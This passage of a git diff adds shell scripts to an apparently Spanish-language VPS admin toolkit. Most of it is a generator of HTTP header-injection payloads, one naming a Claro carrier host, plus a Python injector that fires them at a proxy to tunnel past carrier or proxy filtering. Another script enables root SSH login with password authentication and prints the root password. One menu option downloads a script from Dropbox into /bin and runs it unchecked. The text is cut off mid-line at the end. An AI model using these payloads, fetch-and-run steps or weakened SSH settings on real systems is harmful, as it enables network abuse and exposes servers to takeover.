ISO-8859-1,utf-8;q=0.7,;q=0.7[crlf]Connection: Basic[crlf]Referer: mhost[crlf]Cookie: mhost/ [crlf]Proxy-Connection: Keep-Alive[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][delay_split]CONNECT [host_port]@mhost/ [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]DATA: 2048B[crlf]Host: mhost[crlf]User-Agent: Yes[crlf]Connection: close[crlf]Accept-Encoding: gzip[crlf]Non-Buffer: true[crlf]Proxy: false[crlf][crlf][netData][crlf] [crlf][crlf] +GET [host_port] [protocol][crlf][delay_split]CONNECT http://mhost/ HTTP/1.1[crlf]Host: http://mhost/[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: http://mhost[crlf]X-Forwarded-For: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Cache-Control=max-age=0[crlf][crlf][raw][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Referer: mhost[crlf]GET /HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]User-Agent: [ua][crlf][raw][crlf][crlf][raw][crlf]Referer: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close Keep-Alive[crlf]User-Agent: [ua][crlf][crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][split]CONNECT mhost@[host_port] [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf][crlf] +[raw][crlf]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]CONNECT mhost/ [protocol][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf][crlf] +GET [host_port]@mhost/ HTTP/1.1[crlf]X-Real-IP:mip[crlf]X-Forwarded-For:http://mhost/ http://mhost/[crlf]X-Forwarded-Port:mhost[crlf]X-Forwarded-Proto:http[crlf]Connection:Keep-Alive[crlf][crlf][instant_split][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf][split][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf][realData][crlf]CONNECT mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forward-Host: mhost[crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +[raw][crlf]GET http://mhost/ [protocol][crlf][split]mhost:/ HTTP/1.1[crlf]Host: mhost:[crlf]X-Forward-Host: mhost:[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Connection: close[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host:http://mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf]Connection: close[crlf][raw][crlf] [crlf][crlf] +GET http://mhost/[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Forward-Host: mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: http://mhost[crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]CONNECT mhost@[host_port] [protocol][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf]Connection: Keep-Alive[crlf]mhost@[host_port][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][netdata][crlf] [crlf]GET mhost/ [protocol][crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf][raw][crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf][split]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf]User-Agent: [ua][crlf]Connection: close[crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][raw][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ [method] [host_port] HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]CONNECT mhost@[host_port] [protocol][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]CONNECT http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Connection: close[crlf][netdata][crlf] [crlf][split]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host:mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]HEAD http://mhost/ [protocol][crlf]Host: mhost/ [crlf]CONNECT mhost/ [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]host: mhost[crlf][crlf][realData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost/ [crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]Connection: Keep-Alive[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][realData][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [protocol][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT mhost/ [crlf][raw][crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf]CONNECT [host_port][crlf]CONNECT mhost/ [crlf][crlf][cr] +[realData][crlf][split]GET http://mhost/ HTTP/1.1[crlf][crlf]Host: mhost[crlf]X-Online-Host: mhost[crlf]Connection: Keep-Alive[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]mhost[crlf]Host: mhost[crlf][crlf]CONNECT [host_port][crlf]GET mhost/ [crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf][crlf]GET http://mhost/ [protocol][crlf]Host: mhost[crlf]X-Forward-Host: mhost[crlf][raw][crlf][crlf] +[raw][crlf][cr][crlf]X-Online-Host: mhost[crlf]Connection: [crlf]User-Agent: [ua][crlf]Content-Lenght: 99999999999[crlf][crlf] +[raw][crlf]X-Online-Host: mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Authorization: Basic: Connection: X-Forward-Keep-AliveX-Online-Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]host:frontend.claro.com.br[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf][netData][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: Multibanco.com.br[crlf][crlf][raw][crlf] [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Host: mhost/ [crlf][crlf][raw][crlf]CONNECT [crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf] Proxy-Authorization: Basic:Connection: X-Forward-Keep-AliveX-Online-Host:[crlf][crlf][netData][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf][crlf] +[raw][crlf]X-Online-Host: mhost[crlf][crlf][raw][crlf]X-Online-Host: mhost/ [crlf][crlf] +[raw][crlf]X-Online-Host: http://mhost[crlf][crlf]CONNECT[host_port] [protocol][crlf]X-Online-Host: mhost/ [crlf][crlf] +CONNECT [host_port]@mhost/ HTTP/1.1[crlf]CONNECT mip:443 [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost[crlf][crlf][split]GET mhost/ HTTP/1.1[cr][crlf][raw][crlf] [crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][delay_split]GET http://mhost/ HTTP/1.1[crlf]Host:mhost[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf][instant_split]GET http://mhost/ HTTP/1.1[crlf]Host: mhost[crlf][crlf] +GET http://mhost/ HTTP/1.1[crlf]Content-Type: text[crlf]Cache-Control: no-cache[crlf]Connection: close[crlf]Content-Lenght: 20624[crlf]GET mip:443@mhost/ HTTP/1.1[crlf][crlf] +CONNECT [host_port]@mhost/ [protocol][crlf]Host: mhost[crlf]X-Forwarded-For: mhost/ User-Agent: Yes[crlf]Connection: close[crlf]Proxy-Connection: Keep-Alive Connection: Transfer-Encoding[crlf] [protocol][crlf]User-Agent: [ua][crlf][raw][auth][crlf][crlf][netData][crlf] [crlf][crlf] +[raw][crlf]Host: mhost[crlf]GET http://mhost/ HTTP/1.1[crlf]X-Online-Host: mhost[crlf][crlf]' > $HOME/$1 +} +injector_fun(){ +#$0 lista ip porta +if [[ -e /usr/bin/python3 ]]; then +PY="/usr/bin/python3" +elif [[ -e /bin/python3 ]]; then +PY="/bin/python3" +else +apt-get install python3 -y > /dev/null 2>&1 +apt-get install python3 pip -y > /dev/null 2>&1 +return 1 +fi +$PY -x << PYTHON +import socket,os,sys +class injector: + def __init__(self, payload, conn): + self.payload = payload + self.conn = conn + def iniciar(self): + print(repr("Payload: "+self.payload)) + self.conn.send(self.payload.encode()) + status = self.conn.recv(1024).split('\n'.encode())[0] + aux = status + print('Status: '+str(status)) + self.conn.close() +class gerarPay: + def __init__(self, payload): + self.payload = payload + def pay(self): + aux = self.payload.replace('[crlf]','\r\n') + aux = aux.replace('[lf]','\n') + aux = aux.replace('[cr]','\r') + aux = aux.replace('[method]','CONNECT') + aux = aux.replace('[host_port]','$2:22') + aux = aux.replace('[host]','$2') + aux = aux.replace('[port]','22') + aux = aux.replace('[netData]','CONNECT $2:22 HTTP/1.0') + aux = aux.replace('[realData]','CONNECT $2:22 HTTP/1.0') + aux = aux.replace('[raw]','CONNECT $2:22 HTTP/1.0') + aux = aux.replace('[protocol]','HTTP/1.0') + return(aux) +class ListPay: + def __init__(self, arg): + self.list = arg + def EnviarPay(self): + _pay = self.list + self.conn = socket.create_connection(("$2","$3")) + _PAY_ = gerarPay(_pay).pay() + a = injector(_PAY_,self.conn) + a.iniciar() +def main(): + sta = ListPay("$1") + sta.EnviarPay() +if(__name__=='__main__'): + main() +PYTHON +} +echo -ne "Escriba un host objetivo: " && read valor1 # Entrada Host +echo -ne "Ahora, introduzca un PROXY: PORT: " && read svar # Entrada proxy +valor2="$(echo $svar|cut -d':' -f1)" #Entrada IP +port="$(echo $svar|cut -d':' -f2)" #Porta +retorno="GET CONNECT PUT OPTIONS DELETE HEAD PATCH POST" +i=1 +for ech in $retorno; do +ech_ret="[$i] $ech" && let i++ +while [[ ${#ech_ret} -lt "15" ]]; do ech_ret=$ech_ret' '; done +NUM=$[ $i & 1 ] +if [[ $NUM = 0 ]]; then +reto+="$ech_ret" +else +echo -e "$reto $ech_ret" +unset reto +fi +done +echo -ne "Selecione el Metodo de Solicitud: " && read valor3 #Metodo Requisicao +echo -e "[1] realData +[2] netData +[3] raw" +echo -ne "Seleccione el metodo de conexion: " && read valor4 #Metodo Conexao +case $valor3 in + 1)req="GET";; + 2)req="CONNECT";; + 3)req="PUT";; + 4)req="OPTIONS";; + 5)req="DELETE";; + 6)req="HEAD";; + 7)req="PATCH";; + 8)req="POST";; + *)req="GET";; +esac +case $valor4 in + 1)in="realData";; + 2)in="netData";; + 3)in="raw";; + *)in="netData";; +esac +gerar_pays Payloads.txt +sed -i "s;realData;abc;g" $HOME/Payloads.txt +sed -i "s;netData;abc;g" $HOME/Payloads.txt +sed -i "s;raw;abc;g" $HOME/Payloads.txt +sed -i "s;abc;$in;g" $HOME/Payloads.txt +sed -i "s;GET;$req;g" $HOME/Payloads.txt +sed -i "s;get;$req;g" $HOME/Payloads.txt +sed -i "s;mhost;$valor1;g" $HOME/Payloads.txt +sed -i "s;mip;$valor2;g" $HOME/Payloads.txt +echo -e "Paloads Generados ... Probando..." +barra="\033[1;36m=====================================================================================" +echo -e "$barra" +while read payload; do +#echo -e "\033[1;31mTestando Payload:\033[1;33m$payload" +echo -e "\033[1;31mPAYLOAD EN EL INYECTOR:\n $payload\n" +retorn=$(injector_fun "$payload" $valor2 $port) +echo -e "\033[1;33m $(echo -e $retorn|grep -v Status)" +echo -e "\033[1;32m$(echo -e $retorn|grep Status)" +echo -e "$barra" +done < $HOME/Payloads.txt +echo -e "EXITO!\033[0m" + diff --git a/ADM-VENTAS-LEALDROID/request/permisos_passwd.sh b/ADM-VENTAS-LEALDROID/request/permisos_passwd.sh new file mode 100644 index 0000000..1702452 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/permisos_passwd.sh @@ -0,0 +1,126 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} + +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +host_name () { +unset name +while [[ ${name} = "" ]]; do +echo -ne "\033[1;37m $(fun_trans "Digite el nombre nuevo"): " && read name +tput cuu1 && tput dl1 +done +hostnamectl set-hostname $name +if [ $(hostnamectl status | head -1 | awk '{print $3}') = "${name}" ]; then +echo -e "\033[1;32m $(fun_trans "Nombre de la vps alterado corretamente")!, $(fun_trans "reiniciar VPS")" +else +echo -e "\033[1;31m $(fun_trans "Nombre de la vps no modificado")!" +fi +echo -e "$barra" +return +} + +cambiopass () { +echo -e "${cor[5]} $(fun_trans "Esta herramienta cambia la contraseña de su servidor vps")" +echo -e "${cor[5]} $(fun_trans "Esta contraseña es utilizada como usuario") root" +echo -e "$barra" +echo -e "${cor[0]} $(fun_trans "Escriba su nueva contraseña")" +echo -e "$barra" +read -p " Nuevo passwd: " pass +(echo $pass; echo $pass)|passwd 2>/dev/null +sleep 1s +echo -e "$barra" +echo -e "${cor[0]} $(fun_trans "Contraseña cambiada con exito!")" +echo -e "${cor[0]} $(fun_trans "Su contraseña ahora es"): ${cor[2]}$pass\n${barra}" +return +} + +rootpass () { +echo -e "${cor[5]} $(fun_trans "Esta herramienta cambia a usuario root las vps de ")" +echo -e "${cor[5]} $(fun_trans "Googlecloud y Amazon esta configuracion solo")" +echo -e "${cor[5]} $(fun_trans "funcionan en Googlecloud y Amazon Puede causar")" +echo -e "${cor[5]} $(fun_trans "error en otras VPS agenas a Googlecloud y Amazon ")" +echo -e "$barra" +echo -e " $(fun_trans "Desea Seguir?")" +read -p " [S/N]: " -e -i n PROS +[[ $PROS = @(s|S|y|Y) ]] || exit 1 +echo -e "$barra" +#Inicia Procedimentos +#Parametros iniciais +sed -i "s;PermitRootLogin prohibit-password;PermitRootLogin yes;g" /etc/ssh/sshd_config +sed -i "s;PermitRootLogin without-password;PermitRootLogin yes;g" /etc/ssh/sshd_config +sed -i "s;PasswordAuthentication no;PasswordAuthentication yes;g" /etc/ssh/sshd_config +echo -e "${cor[5]} $(fun_trans "Esta contraseña es utilizada como usuario") root" +echo -e "$barra" +echo -e "${cor[0]} $(fun_trans "Escriba su nueva contraseña")" +echo -e "$barra" +read -p " Nuevo passwd: " pass +(echo $pass; echo $pass)|passwd 2>/dev/null +sleep 1s +echo -e "$barra" +echo -e "${cor[0]} $(fun_trans "Contraseña cambiada con exito!")" +echo -e "${cor[0]} $(fun_trans "Su contraseña ahora es"): ${cor[2]}$pass\n${barra}" +echo -e "${cor[5]} $(fun_trans "Configuracoes adicionadas")" +echo -e "${cor[5]} $(fun_trans "La vps estar totalmente configurada")" +echo -e "$barra" +service ssh restart > /dev/null 2>&1 +return +} +shadowe_fun () { +echo -e " \033[1;36m $(fun_trans "PERMISOS ROOT PASSWD") \033[1;32m[NEW-ADM]" +echo -e "$barra" +while true; do +echo -e "${cor[4]} [1] > ${cor[5]}$(fun_trans "LIBERAR VPS VURTL PARA CREAR USUARIOS")" +echo -e "${cor[4]} [2] > ${cor[5]}$(fun_trans "CAMBIAR CONTRASEÑA ROOT DELA VPS")" +echo -e "${cor[4]} [3] > ${cor[5]}$(fun_trans "PERMISO ROOT PARA Googlecloud y Amazon")" +echo -e "${cor[5]} [4] > ${cor[4]}$(fun_trans "ALTERAR NOMBRE DE LA VPS")" +echo -e "${cor[4]} [5] > ${cor[0]}$(fun_trans "VOLVER")" +echo -e "${cor[4]} [0] > ${cor[0]}$(fun_trans "SALIR")\n${barra}" +while [[ ${opx} != @(0|[1-5]) ]]; do +echo -ne "${cor[0]}$(fun_trans "Digite una Opcion"): \033[1;37m" && read opx +tput cuu1 && tput dl1 +done +case $opx in + 0) + exit;; + 1) + wget -O /bin/pan_cracklib.sh https://www.dropbox.com/s/k3p5h7zfj6ou70b/pan_cracklib.sh > /dev/null 2>&1; chmod +x /bin/pan_cracklib.sh; pan_cracklib.sh + break;; + 2) + cambiopass + break;; + 3) + rootpass + break;; + 4) + host_name + break;; + 5) + return;; + +esac +done +} +shadowe_fun \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/ports.sh b/ADM-VENTAS-LEALDROID/request/ports.sh new file mode 100644 index 0000000..2421a68 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/ports.sh @@ -0,0 +1,220 @@ +#!/bin/bash +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +port () { +local portas +local portas_var=$(lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN") +i=0 +while read port; do +var1=$(echo $port | awk '{print $1}') && var2=$(echo $port | awk '{print $9}' | awk -F ":" '{print $2}') +[[ "$(echo -e ${portas}|grep -w "$var1 $var2")" ]] || { + portas+="$var1 $var2 $portas" + echo "$var1 $var2" + let i++ + } +done <<< "$portas_var" +} +verify_port () { +local SERVICE="$1" +local PORTENTRY="$2" +[[ ! $(echo -e $(port|grep -v ${SERVICE})|grep -w "$PORTENTRY") ]] && return 0 || return 1 +} +edit_squid () { +msg -azu "$(fun_trans "REDEFINIR PUERTOS SQUID")" +msg -bar +if [[ -e /etc/squid/squid.conf ]]; then +local CONF="/etc/squid/squid.conf" +elif [[ -e /etc/squid3/squid.conf ]]; then +local CONF="/etc/squid3/squid.conf" +fi +NEWCONF="$(cat ${CONF}|grep -v "http_port")" +msg -ne "$(fun_trans "Nuevas Puertas"): " +read -p "" newports +for PTS in `echo ${newports}`; do +verify_port squid "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || { +echo -e "\033[1;33mPort $PTS \033[1;31mFAIL" +return 1 +} +done +rm ${CONF} +while read varline; do +echo -e "${varline}" >> ${CONF} + if [[ "${varline}" = "#portas" ]]; then + for NPT in $(echo ${newports}); do + echo -e "http_port ${NPT}" >> ${CONF} + done + fi +done <<< "${NEWCONF}" +msg -azu "$(fun_trans "ESPERE")" +service squid restart &>/dev/null +service squid3 restart &>/dev/null +sleep 1s +msg -bar +msg -azu "$(fun_trans "PUERTAS REDEFINIDAS")" +msg -bar +} +edit_apache () { +msg -azu "$(fun_trans "REDEFINIR PUERTAS APACHE")" +msg -bar +local CONF="/etc/apache2/ports.conf" +local NEWCONF="$(cat ${CONF})" +msg -ne "$(fun_trans "Nueva puerta"): " +read -p "" newports +for PTS in `echo ${newports}`; do +verify_port apache "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || { +echo -e "\033[1;33mPort $PTS \033[1;31mFAIL" +return 1 +} +done +rm ${CONF} +while read varline; do +if [[ $(echo ${varline}|grep -w "Listen") ]]; then + if [[ -z ${END} ]]; then + echo -e "Listen ${newports}" >> ${CONF} + END="True" + else + echo -e "${varline}" >> ${CONF} + fi +else +echo -e "${varline}" >> ${CONF} +fi +done <<< "${NEWCONF}" +msg -azu "$(fun_trans "ESPERE")" +service apache2 restart &>/dev/null +sleep 1s +msg -bar +msg -azu "$(fun_trans "PUERTAS REDEFINIDAS")" +msg -bar +} +edit_openvpn () { +msg -azu "$(fun_trans "REDEFINIR PUERTAS OPENVPN")" +msg -bar +local CONF="/etc/openvpn/server.conf" +local CONF2="/etc/openvpn/client-common.txt" +local NEWCONF="$(cat ${CONF}|grep -v [Pp]ort)" +local NEWCONF2="$(cat ${CONF2})" +msg -ne "$(fun_trans "Nueva Puerta"): " +read -p "" newports +for PTS in `echo ${newports}`; do +verify_port openvpn "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || { +echo -e "\033[1;33mPort $PTS \033[1;31mFAIL" +return 1 +} +done +rm ${CONF} +while read varline; do +echo -e "${varline}" >> ${CONF} +if [[ ${varline} = "proto tcp" ]]; then +echo -e "port ${newports}" >> ${CONF} +fi +done <<< "${NEWCONF}" +rm ${CONF2} +while read varline; do +if [[ $(echo ${varline}|grep -v "remote-random"|grep "remote") ]]; then +echo -e "$(echo ${varline}|cut -d' ' -f1,2) ${newports} $(echo ${varline}|cut -d' ' -f4)" >> ${CONF2} +else +echo -e "${varline}" >> ${CONF2} +fi +done <<< "${NEWCONF2}" +msg -azu "$(fun_trans "ESPERE")" +service openvpn restart &>/dev/null +/etc/init.d/openvpn restart &>/dev/null +sleep 1s +msg -bar +msg -azu "$(fun_trans "PUERTAS REDEFINIDAS")" +msg -bar +} +edit_dropbear () { +msg -azu "$(fun_trans "REDEFINIR PUERTAS DROPBEAR")" +msg -bar +local CONF="/etc/default/dropbear" +local NEWCONF="$(cat ${CONF}|grep -v "DROPBEAR_EXTRA_ARGS")" +msg -ne "$(fun_trans "Nuevas Puertas"): " +read -p "" newports +for PTS in `echo ${newports}`; do +verify_port dropbear "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || { +echo -e "\033[1;33mPort $PTS \033[1;31mFAIL" +return 1 +} +done +rm ${CONF} +while read varline; do +echo -e "${varline}" >> ${CONF} + if [[ ${varline} = "NO_START=0" ]]; then + echo -e 'DROPBEAR_EXTRA_ARGS="VAR"' >> ${CONF} + for NPT in $(echo ${newports}); do + sed -i "s/VAR/-p ${NPT} VAR/g" ${CONF} + done + sed -i "s/VAR//g" ${CONF} + fi +done <<< "${NEWCONF}" +msg -azu "$(fun_trans "ESPERE")" +service dropbear restart &>/dev/null +sleep 1s +msg -bar +msg -azu "$(fun_trans "PUERTAS REDEFINIDAS")" +msg -bar +} +edit_openssh () { +msg -azu "$(fun_trans "REDEFINIR PUERTAS OPENSSH")" +msg -bar +local CONF="/etc/ssh/sshd_config" +local NEWCONF="$(cat ${CONF}|grep -v [Pp]ort)" +msg -ne "$(fun_trans "Nuevas Puertas"): " +read -p "" newports +for PTS in `echo ${newports}`; do +verify_port sshd "${PTS}" && echo -e "\033[1;33mPort $PTS \033[1;32mOK" || { +echo -e "\033[1;33mPort $PTS \033[1;31mFAIL" +return 1 +} +done +rm ${CONF} +for NPT in $(echo ${newports}); do +echo -e "Port ${NPT}" >> ${CONF} +done +while read varline; do +echo -e "${varline}" >> ${CONF} +done <<< "${NEWCONF}" +msg -azu "$(fun_trans "ESPERE")" +service ssh restart &>/dev/null +service sshd restart &>/dev/null +sleep 1s +msg -bar +msg -azu "$(fun_trans "PUERTAS REDEFINIDAS")" +msg -bar +} +main_fun () { +unset newports +i=0 +while read line; do +let i++ + case $line in + squid|squid3)squid=$i;; + apache|apache2)apache=$i;; + openvpn)openvpn=$i;; + dropbear)dropbear=$i;; + sshd)ssh=$i;; + esac +done <<< "$(port|cut -d' ' -f1|sort -u)" +for((a=1; a<=$i; a++)); do +[[ $squid = $a ]] && echo -ne "\033[1;32m [$squid] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SQUID")" +[[ $apache = $a ]] && echo -ne "\033[1;32m [$apache] > " && msg -azu "$(fun_trans "REDEFINIR PUERTO APACHE")" +[[ $openvpn = $a ]] && echo -ne "\033[1;32m [$openvpn] > " && msg -azu "$(fun_trans "REDEFINIR PUERTO OPENVPN")" +[[ $dropbear = $a ]] && echo -ne "\033[1;32m [$dropbear] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS DROPBEAR")" +[[ $ssh = $a ]] && echo -ne "\033[1;32m [$ssh] > " && msg -azu "$(fun_trans "REDEFINIR PUERTOS SSH")" +done +echo -ne "\033[1;32m 